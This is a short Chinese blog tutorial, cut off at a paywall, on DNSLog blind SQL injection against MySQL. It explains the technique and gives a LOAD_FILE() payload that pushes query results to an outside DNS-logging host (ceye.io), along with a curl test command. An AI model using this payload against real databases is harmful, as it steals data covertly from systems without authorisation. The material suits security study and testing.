DNSLog盲注是一种提高SQL注入效率的方法，通过DNS日志记录请求信息以减少请求次数。在布尔盲注和时间盲注的基础上，DNSLog注入利用LOAD_FILE()函数在Windows系统下发起请求，通过Dnslog获取数据。在使用时，需要确保MySQL的secure_file_priv参数设置正确，并且注意在URL中正确构造SQL语句。
Dnslog盲注原理
布尔盲注和时间盲注相当于猜单词的游戏，我们需要对每一位逐步的猜测，效率很低，需要发送很多的请求进行判断，很可能会触发安全设备的防护
我们需要一种方式能够减少请求，直接回显数据——Dnslog注入
Dns在解析的时候会留下日志，通过读取多级域名的解析日志，获取请求信息
Dnslog盲注方法
登录http://ceye.io/网站并注册，得到属于自己的identifier
先尝试在终端运行curl dnslog.4ke30o.ceye.io
Mysql load_file()函数可以发起请求，LOAD_FILE()函数操作需要用户具有FILE权限
构造语句，利用load_file()函数发起请求，使用Dnslog接收请求，获取数据
只能在windows系统下使用load_file()发起请求，在Linux环境下不能使用load_file()发起请求
使用语句select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
在使用前务必记得设置secure_file_priv为"&
最低0.47元/天 解锁文章
扫一扫
1816
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
